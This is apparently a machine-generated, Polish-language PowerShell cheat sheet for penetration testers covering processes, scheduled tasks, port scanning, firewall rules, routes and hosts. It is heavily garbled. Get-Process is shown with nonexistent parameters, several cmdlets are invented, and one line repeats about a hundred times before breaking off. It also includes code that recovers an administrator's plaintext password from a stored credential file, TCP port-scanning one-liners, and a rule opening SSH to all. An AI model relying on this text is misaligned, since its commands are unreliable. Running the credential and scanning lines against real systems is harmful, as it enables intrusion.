Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL -Port <numer_portu> -Protocol <protokół>

Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem i limitami

Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem i limitami, możemy użyć polecenia Get-Process z parametrami -ComputerName, -Credential, -Authentication, -UseSSL, -Port, -Protocol, -ThrottleLimit i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania, użyć szyfrowania, numer portu, protokół oraz limity jako argumenty.

Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL -Port <numer_portu> -Protocol <protokół> -ThrottleLimit <limity>

Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem i limitami i czasem oczekiwania

Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem i portem i protokołem i limitami i czasem oczekiwania, możemy użyć polecenia Get-Process z parametrami -ComputerName, -Credential, -Authentication, -UseSSL, -Port, -Protocol, -ThrottleLimit, -TimeoutSec i podać nazwę komputera zdalnego, poświadczenia, wybrać metodę uwierzytelniania, użyć szyfrowania, numer portu, protokół, limity oraz czas oczekiwania jako argumenty.

Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania> -UseSSL -Port <numer_portu> -Protocol <protokół> -ThrottleLimit <limity> -TimeoutSec <czas_oczekiwania>
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Usługi

Windows PowerShell

Windows PowerShell to zaawansowany język skryptowy i środowisko powłoki systemowej stworzone przez firmę Microsoft. Jest to potężne narzędzie, które umożliwia zarządzanie i automatyzację różnych zadań w systemie Windows.

Podstawowe polecenia PowerShell

Poniżej przedstawiono kilka podstawowych poleceń PowerShell, które mogą być przydatne dla pentesterów:

  • Get-Process: Wyświetla listę uruchomionych procesów w systemie.
  • Get-Service: Wyświetla listę uruchomionych usług w systemie.
  • Get-EventLog: Wyświetla zdarzenia z dziennika zdarzeń systemu.
  • Get-WmiObject: Pobiera informacje o obiektach WMI (Windows Management Instrumentation).
  • Get-NetAdapter: Wyświetla informacje o sieciowych adapterach w systemie.
  • Get-NetFirewallRule: Wyświetla reguły zapory sieciowej.
  • Get-NetTCPConnection: Wyświetla aktywne połączenia TCP.
  • Get-NetUDPEndpoint: Wyświetla aktywne punkty końcowe UDP.
  • Get-NetRoute: Wyświetla tablicę trasowania sieciowego.
  • Get-NetIPAddress: Wyświetla informacje o adresach IP.

Skrypty PowerShell

PowerShell umożliwia tworzenie skryptów, które mogą być wykonywane w celu automatyzacji zadań. Poniżej przedstawiono kilka przykładów skryptów PowerShell:

  • Invoke-Command: Wykonuje polecenia na zdalnym komputerze.
  • Invoke-Expression: Wykonuje polecenia z ciągu znaków.
  • Invoke-WebRequest: Pobiera zawartość strony internetowej.
  • Start-Process: Uruchamia nowy proces.
  • Stop-Process: Zatrzymuje działanie procesu.
  • New-Item: Tworzy nowy element, takie jak plik lub katalog.
  • Remove-Item: Usuwa element, takie jak plik lub katalog.
  • Set-ItemProperty: Ustawia właściwość elementu.

Skrypty PowerShell dla pentesterów

Poniżej przedstawiono kilka przykładów skryptów PowerShell, które mogą być przydatne dla pentesterów:

  • Get-LocalAdmins: Wyświetla listę kont lokalnych administratorów.
  • Get-LocalGroups: Wyświetla listę grup lokalnych.
  • Get-LocalGroupMembers: Wyświetla listę członków grupy lokalnej.
  • Get-LocalGroupMembership: Wyświetla informacje o przynależności do grup lokalnych.
  • Get-LocalGroupPolicies: Wyświetla listę zasad grupy lokalnej.
  • Get-LocalGroupPolicy: Wyświetla informacje o konkretnej zasadzie grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • Get-LocalGroupPolicyResultantSet: Wyświetla wynik zasad grupy lokalnej.
  • `
Get-Service

Hasło zabezpieczonego ciągu znaków

Aby uzyskać dostęp do hasła przechowywanego jako zabezpieczony ciąg znaków w PowerShell, możemy użyć następującego kodu:

$secureString = ConvertTo-SecureString -String "hasło" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

W powyższym kodzie tworzymy zabezpieczony ciąg znaków $secureString przy użyciu funkcji ConvertTo-SecureString. Następnie, za pomocą metody SecureStringToBSTR, konwertujemy go na niezabezpieczony ciąg znaków $plainText.

Warto zauważyć, że przechowywanie haseł jako zabezpieczonych ciągów znaków nie jest zalecane, ponieważ istnieje ryzyko ich odczytania przez nieuprawnione osoby. Lepiej jest używać innych metod przechowywania haseł, takich jak uwierzytelnianie wieloskładnikowe lub zarządzanie hasłami za pomocą narzędzi do zarządzania tożsamościami.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Zaplanowane zadania

Scheduled Tasks (Zaplanowane zadania) to mechanizm w systemie Windows, który umożliwia uruchamianie określonych poleceń lub skryptów w określonym czasie lub w określonych interwałach czasowych. Jest to przydatne narzędzie zarówno dla administratorów systemu, jak i dla pentesterów, którzy mogą wykorzystać je do wykonania różnych działań w celu uzyskania dostępu do systemu lub wykonania innych zadań.

Przegląd zaplanowanych zadań

Aby wyświetlić listę wszystkich zaplanowanych zadań w systemie, można użyć polecenia Get-ScheduledTask. Polecenie to zwróci informacje takie jak nazwa zadania, ścieżka do pliku wykonywalnego, opis zadania, stan zadania (włączone/wyłączone) oraz harmonogram uruchamiania zadania.

Get-ScheduledTask

Tworzenie nowego zaplanowanego zadania

Aby utworzyć nowe zaplanowane zadanie, można użyć polecenia New-ScheduledTask. Polecenie to wymaga podania nazwy zadania, ścieżki do pliku wykonywalnego, harmonogramu uruchamiania zadania oraz innych opcjonalnych parametrów, takich jak argumenty wywołania czy konto, na którym zadanie ma być uruchamiane.

New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\executable.exe") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -TaskName "MyScheduledTask"

Usuwanie zaplanowanego zadania

Aby usunąć zaplanowane zadanie, można użyć polecenia Unregister-ScheduledTask. Polecenie to wymaga podania nazwy zadania, które ma zostać usunięte.

Unregister-ScheduledTask -TaskName "MyScheduledTask"

Modyfikowanie zaplanowanego zadania

Aby zmodyfikować istniejące zaplanowane zadanie, można użyć polecenia Set-ScheduledTask. Polecenie to wymaga podania nazwy zadania oraz nowych parametrów, które mają zostać zmienione.

Set-ScheduledTask -TaskName "MyScheduledTask" -Trigger (New-ScheduledTaskTrigger -Weekly -DaysOfWeek Monday) -Description "New description"

Uruchamianie zaplanowanego zadania

Aby natychmiastowo uruchomić zaplanowane zadanie, można użyć polecenia Start-ScheduledTask. Polecenie to wymaga podania nazwy zadania, które ma zostać uruchomione.

Start-ScheduledTask -TaskName "MyScheduledTask"

Podsumowanie

Zaplanowane zadania są przydatnym narzędziem w systemie Windows, które można wykorzystać do automatyzacji różnych zadań. Zarówno administratorzy systemu, jak i pentesterzy mogą korzystać z tych mechanizmów w celu zarządzania systemem lub przeprowadzania testów penetracyjnych.

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Skanowanie portów

Skanowanie portów to proces identyfikacji otwartych portów na docelowym systemie. Pozwala to na zidentyfikowanie usług działających na tych portach i potencjalne luki w zabezpieczeniach. Istnieje wiele narzędzi do skanowania portów, takich jak Nmap, które można wykorzystać do przeprowadzenia skanowania portów w celach pentestowych.

Nmap

Nmap jest jednym z najpopularniejszych narzędzi do skanowania portów. Pozwala na skanowanie pojedynczych hostów lub całych sieci w celu identyfikacji otwartych portów i usług. Poniżej przedstawiono kilka przykładów użycia Nmap:

  • Skanowanie pojedynczego hosta:
nmap <adres_ip>
  • Skanowanie całej sieci:
nmap <adres_ip>/<maska>
  • Skanowanie konkretnych portów:
nmap -p <porty> <adres_ip>
  • Skanowanie z wykorzystaniem specyficznych skryptów:
nmap -sC <adres_ip>

Nmap oferuje wiele opcji i funkcji, które można dostosować do konkretnych potrzeb. Warto zapoznać się z dokumentacją Nmap, aby poznać wszystkie możliwości tego narzędzia.

Wyniki skanowania

Po przeprowadzeniu skanowania portów, otrzymasz wyniki, które będą zawierać informacje o otwartych portach, usługach działających na tych portach oraz ewentualnych lukiach w zabezpieczeniach. Analiza tych wyników pozwoli Ci zidentyfikować potencjalne zagrożenia i podjąć odpowiednie działania w celu zabezpieczenia systemu.

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

Interfejsy

Interfejsy w PowerShell są używane do definiowania kontraktów, które określają, jakie metody i właściwości powinny być dostępne w klasach implementujących dany interfejs. Interfejsy są używane do tworzenia abstrakcyjnych typów danych, które mogą być implementowane przez różne klasy.

Aby zdefiniować interfejs w PowerShell, użyj słowa kluczowego interface. Następnie możesz zadeklarować metody i właściwości, które powinny być dostępne w klasach implementujących ten interfejs.

Przykład:

interface IExampleInterface {
    [string] GetInfo()
    [void] DoSomething()
}

W powyższym przykładzie zdefiniowano interfejs o nazwie IExampleInterface, który zawiera dwie metody: GetInfo, która zwraca wartość typu string, oraz DoSomething, która nie zwraca żadnej wartości.

Aby klasa mogła implementować interfejs, musi zadeklarować, że implementuje dany interfejs za pomocą słowa kluczowego implements. Następnie musi zaimplementować wszystkie metody i właściwości zdefiniowane w interfejsie.

Przykład:

class ExampleClass : IExampleInterface {
    [string] GetInfo() {
        return "This is an example"
    }

    [void] DoSomething() {
        Write-Host "Doing something"
    }
}

W powyższym przykładzie klasa ExampleClass implementuje interfejs IExampleInterface poprzez zaimplementowanie metod GetInfo i DoSomething.

Interfejsy są przydatne w PowerShell, ponieważ umożliwiają tworzenie kodu bardziej elastycznego i modułowego. Dzięki nim można tworzyć klasy, które są zgodne z danym interfejsem, co ułatwia testowanie, rozwijanie i utrzymanie kodu.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Zapora ogniowa

Firewall (zapora ogniowa) jest podstawowym narzędziem do zabezpieczania systemu przed nieautoryzowanym dostępem. Może być skonfigurowany w celu blokowania lub zezwalania na ruch sieciowy na podstawie określonych reguł. Istnieją dwa rodzaje zapór ogniowych: zapora sprzętowa i zapora programowa.

Zapora sprzętowa

Zapora sprzętowa to urządzenie fizyczne, które działa jako punkt kontrolny dla ruchu sieciowego. Jest umieszczona między siecią wewnętrzną a zewnętrzną i monitoruje i blokuje nieautoryzowany ruch. Zapory sprzętowe są zazwyczaj bardziej wydajne i skuteczne niż zapory programowe.

Zapora programowa

Zapora programowa to oprogramowanie zainstalowane na komputerze, które kontroluje ruch sieciowy. Może być skonfigurowana w celu blokowania lub zezwalania na ruch na podstawie określonych reguł. Zapory programowe są bardziej elastyczne i mogą być dostosowane do indywidualnych potrzeb.

Konfiguracja zapory ogniowej

Konfiguracja zapory ogniowej jest kluczowa dla zapewnienia bezpieczeństwa systemu. Oto kilka podstawowych zasad konfiguracji:

  • Zablokuj domyślne reguły: Wyłącz wszystkie domyślne reguły, które nie są potrzebne, aby ograniczyć potencjalne luki w zabezpieczeniach.
  • Zdefiniuj reguły dostępu: Określ, jakie połączenia sieciowe są dozwolone i jakie są blokowane. Można to zrobić na podstawie adresów IP, portów, protokołów itp.
  • Monitoruj ruch sieciowy: Regularnie sprawdzaj logi zapory ogniowej, aby wykryć nieautoryzowany ruch i podejrzane aktywności.
  • Aktualizuj oprogramowanie zapory ogniowej: Upewnij się, że masz zainstalowane najnowsze aktualizacje oprogramowania zapory ogniowej, aby zapewnić ochronę przed nowymi zagrożeniami.

Podsumowanie

Zapora ogniowa jest niezbędnym narzędziem do zabezpieczania systemu przed nieautoryzowanym dostępem. Bez odpowiedniej konfiguracji i monitorowania może wystawić system na ryzyko ataków. Pamiętaj o regularnym aktualizowaniu oprogramowania zapory ogniowej i monitorowaniu ruchu sieciowego, aby utrzymać wysoki poziom bezpieczeństwa.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Trasa

Poniżej znajduje się lista poleceń PowerShell, które mogą być przydatne podczas testowania penetracyjnego systemów Windows.

Pobieranie informacji o trasie

Polecenie Get-NetRoute pozwala na pobranie informacji o trasach sieciowych na hoście. Można użyć go do sprawdzenia, czy istnieją jakieś nieprawidłowe trasy lub trasy, które mogą być wykorzystane do przechwycenia ruchu sieciowego.

Get-NetRoute

Dodawanie trasy

Polecenie New-NetRoute umożliwia dodanie nowej trasy sieciowej. Może to być przydatne, jeśli chcesz przekierować ruch sieciowy przez inny węzeł lub sieć.

New-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku>

Usuwanie trasy

Polecenie Remove-NetRoute służy do usuwania istniejących tras sieciowych.

Remove-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku>

Modyfikowanie trasy

Polecenie Set-NetRoute pozwala na modyfikację istniejących tras sieciowych.

Set-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku>

Przekierowywanie ruchu sieciowego

Aby przekierować ruch sieciowy przez inny węzeł, można użyć polecenia Set-NetRoute do dodania nowej trasy z odpowiednim adresem docelowym, indeksem interfejsu i adresem następnego skoku.

Set-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku>

Zabezpieczanie tras

Aby zabezpieczyć trasy przed modyfikacją, można użyć polecenia Set-NetRoute z opcją -PolicyStore PersistentStore. Spowoduje to przechowywanie tras w trwałym magazynie, co uniemożliwi ich zmianę po ponownym uruchomieniu systemu.

Set-NetRoute -DestinationPrefix <adres docelowy> -InterfaceIndex <indeks interfejsu> -NextHop <adres następnego skoku> -PolicyStore PersistentStore

Podsumowanie

Trasy sieciowe są ważnym elementem infrastruktury sieciowej. Zrozumienie, jak zarządzać trasami w systemie Windows, może być przydatne podczas testowania penetracyjnego. Polecenia PowerShell opisane powyżej mogą pomóc w pobieraniu, dodawaniu, usuwaniu, modyfikowaniu i zabezpieczaniu tras sieciowych.

route print

ARP

ARP (Address Resolution Protocol) jest protokołem używanym w sieciach komputerowych do mapowania adresów IP na adresy MAC. Protokół ARP jest wykorzystywany do komunikacji w warstwie 2 modelu OSI (Data Link Layer).

Atak ARP Spoofing polega na fałszowaniu odpowiedzi ARP w celu przekierowania ruchu sieciowego na inny adres MAC. Ten rodzaj ataku może być wykorzystany do przechwytywania danych, podsłuchiwania komunikacji lub przeprowadzania innych złośliwych działań w sieci.

Aby chronić się przed atakami ARP Spoofing, można zastosować techniki takie jak:

  • Używanie protokołu ARP Inspection w sieciach VLAN.
  • Konfiguracja statycznych wpisów ARP w urządzeniach sieciowych.
  • Używanie narzędzi do wykrywania i monitorowania ataków ARP Spoofing.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hosty

W pliku hosts możemy zdefiniować statyczne mapowania adresów IP na nazwy hostów. Jest to przydatne w celu przekierowania ruchu sieciowego na inne adresy IP lub do blokowania dostępu do określonych stron internetowych. Poniżej znajduje się przykładowa zawartość pliku hosts:

# Przykładowy plik hosts

# Adresy IP i nazwy hostów
127.0.0.1       localhost
192.168.1.10    example.com

W powyższym przykładzie, adres IP 127.0.0.1 jest przypisany do nazwy hosta "localhost", co oznacza, że wszelkie żądania wysłane do "localhost" będą kierowane na ten adres IP. Podobnie, adres IP 192.168.1.10 jest przypisany do nazwy hosta "example.com".

Aby dodać własne mapowania do pliku hosts, należy otworzyć go jako administrator i dodać nowe linie w formacie "adres_IP nazwa_hosta". Na przykład:

# Moje mapowania
192.168.1.20    myhost.com

Po zapisaniu zmian w pliku hosts, nowe mapowania będą obowiązywać. Jest to przydatne narzędzie podczas testowania aplikacji internetowych lub w celu zablokowania dostępu do niechcianych stron internetowych.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

Ping jest narzędziem wiersza poleceń, które służy do sprawdzania dostępności hosta w sieci. Wysyła ono pakiet ICMP Echo Request do określonego hosta i oczekuje na odpowiedź ICMP Echo Reply. Ping jest często używany do diagnozowania problemów z siecią, sprawdzania opóźnień i określania, czy dany host jest dostępny.

Składnia

ping [-t] [-a] [-n licznik] [-l rozmiar] [-f] [-i TTL] [-v TOS] [-r licznik] [-s źródło] [-w czas] [-R] [-S] [adres]

Parametry

  • -t - Pinguje określony host w nieskończoność, aż zostanie przerwany przez użytkownika.
  • -a - Wyświetla nazwę hosta dla podanego adresu IP.
  • -n licznik - Określa liczbę pakietów do wysłania.
  • -l rozmiar - Określa rozmiar pakietu w bajtach.
  • -f - Ustawia flagę Don't Fragment w pakietach ICMP Echo Request.
  • -i TTL - Określa wartość pola Time to Live (TTL) w pakietach ICMP Echo Request.
  • -v TOS - Określa wartość pola Type of Service (TOS) w pakietach ICMP Echo Request.
  • -r licznik - Określa liczbę skoków (routerów), które pakiet może wykonać.
